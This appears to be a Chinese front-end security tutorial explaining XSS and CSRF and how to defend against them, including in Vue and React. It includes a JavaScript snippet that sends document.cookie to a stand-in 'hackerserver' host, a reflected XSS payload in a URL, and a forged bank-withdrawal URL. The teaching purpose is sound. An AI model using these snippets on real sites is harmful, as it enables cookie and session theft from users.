1.重要性

随着互联网的发达，各种WEB应用也变得越来越复杂，满足了用户的各种需求，但是随之而来的就是各种网络安全的问题。了解常见的前端形式和保护我们的网站不受干扰是我们每个优秀fronter必备的技能。

2.分类

  • XSS干扰
  • CSRF干扰
  • 网络劫持干扰(运营商劫持)
  • 控制台注入代码
  • 虚假网站钓鱼

3.XSS干扰

XSS是一种经常出现在web应用中的计算机安全漏洞，为了和 CSS 区分，这里把干扰的第一个字母改成了X，于是叫做XSS，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。干扰者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)，从而发起非法行为和获取网站的敏感数据。

发起方式

实施XSS干扰需要具备两个条件

  • 一、需要向web页面注入恶意代码, 利用表单和url地址栏的查询字符串注入js非法代码
  • 二、这些恶意代码能够被浏览器成功的执行

XSS干扰的主要目的

　　一、窃取Cookies和私信信息，发送到黑客网站上

1

2

3


​​var​​​ ​​i=document.createElement(​​​​"img"​​​​);​​

​​document.body.appendChild(i);​​

​​i.src = ​​​​"http://www.hackerserver.com/?c="​​​ ​​+ document.cookie;​​


　　二、发起非法行为

1

2

3

4

5

6

7


​​地址栏：​​

​​http:​​​​//www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="​​

 

​​把id放入到img之后最终反射出来的HTML代码：​​

​​<div>​​

​​<img src=​​​​"/images/handler.ashx?id="​​​ ​​/><script>alert(/xss/)</script><br x=​​​​""​​​ ​​/>​​

​​</div>​​


　　

防范措施

DOM 型 XSS 干扰，实际上就是网站前端 JavaScript 代码本身不够严谨，把不可信的数据当作代码执行了。

  • 在使用 .innerHTML、.outerHTML、document.write() 时要特别小心，不要把不可信的数据作为 HTML 插到页面上，而应尽量使用 .textContent、.setAttribute() 等。
  • 转义HTML，过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>（尖括号）、”（引号）、 ‘（单引号）、%（百分比符号）、;（分号）、()（括号）、&（& 符号）、+（加号）等。、严格控制输出。
  • 如果用 Vue/React 技术栈，并且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。
  • DOM 中的内联事件监听器，如 location、onclick、onerror、onload、onmouseover 等，a标签的 href 属性，JavaScript 的 eval（)、setTimeout()、setInterval() 等，都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API，很容易产生安全隐患，请务必避免。

1

2

3

4

5

6

7

8

9

10

11

12

13


​​<!-- 内联事件监听器中包含恶意代码 -->​​

​​< img   onclick = ​​​​"UNTRUSTED"​​​   ​​onerror = ​​​​"UNTRUSTED"​​​   ​​src = ​​​​"data:image/png,"​​​ ​​>​​

​​<!-- 链接内包含恶意代码 -->​​

​​< a   href = ​​​​"UNTRUSTED"​​​ ​​> 1 </ a >​​

​​< script > ​​

​​// setTimeout()/setInterval() 中调用恶意代码​​

​​setTimeout( ​​​​"UNTRUSTED"​​​ ​​)​​

​​setInterval( ​​​​"UNTRUSTED"​​​ ​​)​​

​​// location 调用恶意代码​​

​​location.href =  ​​​​'UNTRUSTED'​​

​​// eval（) 中调用恶意代码​​

​​eval（ ​​​​"UNTRUSTED"​​​ ​​)​​

​​</ script >​​


　　

4.CSRF干扰

干扰者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了干扰者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等。 Cookie是按照Domain存储的，当请求一个网站的时候，浏览器会自动把这个网站的Cookie发送过去。

发起方式

  1. 用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A；
  2. 在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A；
  3. 用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B；
  4. 网站B接收到用户请求后，返回一些干扰性代码，并发出一个请求要求访问第三方站点A；
  5. 浏览器在接收到这些干扰性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。

图解流程

网络安全与防范_地址栏

 

 

防范措施

CSRF干扰是干扰者利用用户的身份(Cookie)操作用户帐户的一种干扰方式，我们可以利用修改登录态的位置（由cookie中放到地址栏或者自定义请求头部）和refer的判断来防御CSRF干扰，由前端和服务端配合一起解决CSRF干扰。

  • 验证HTTP Referer字段
    根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，用户必须在 bank.example网站发起请求，referer的域名一定指向bank.example。如果 Referer 是其他网站的话，则有可能是黑客的CSRF干扰，拒绝该请求。但Referer值是由浏览器提供的，服务端可以绕过这个限制修改Referer字段发起干扰。
  • 在HTTP头中自定义属性并验证
    这种方法是使用token并进行验证，把token的位置由Cookie移到http请求的头部，使第三方网站无法盗用身份信息。解决了在请求地址栏中加入token的不便，同时通过 XMLHttpRequest请求的地址不会被记录到浏览器的地址栏，也不用担心token会透过 Referer泄露到其他网站中去。
  • 添加验证码操作
    增加与用户的互动，即便是最简陋的验证码也能起到很好的效果

5.XSS与CSRF之间的区别

干扰类型

字面理解

宿主网站

攻击方式

XSS(cross site script)

跨站脚本干扰，在别人的网站注入JS脚本以触发非法操作或者获取别人网站的私密信息

A网站

给A网站注入JS脚本

CSRF(cross site request forgery)

跨站请求伪造，在钓鱼网站伪装成正常网站，非法使用浏览器自带Cookie的机制发起伪造正常网站的请求

A网站

在B网站借助A网站的Cookie，伪造发起A网站的请求

 

6.在Vue与React中的防范措施

  • JSX中防止XSS注入干扰
  • React DOM 在渲染所有输入内容之前，默认会进行转义。它可以确保在你的应用中，永远不会注入那些并非自己明确编写的内容。所有的内容在渲染之前都被转换成了字符串。这样可以有效地防止 XSS（cross-site-scripting, 跨站脚本）干扰。
  • dangerouslySetInnerHTML 是 React 为浏览器 DOM 提供 innerHTML 的替换方案。但当你想设置 dangerouslySetInnerHTML 时，需要向其传递包含 key 为 __html 的对象，以此来警示你。
  • 在Vue中尽量不要使用v-html
  • 在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 XSS 干扰。只在可信内容上使用 v-html，永不用在用户提交的内容上。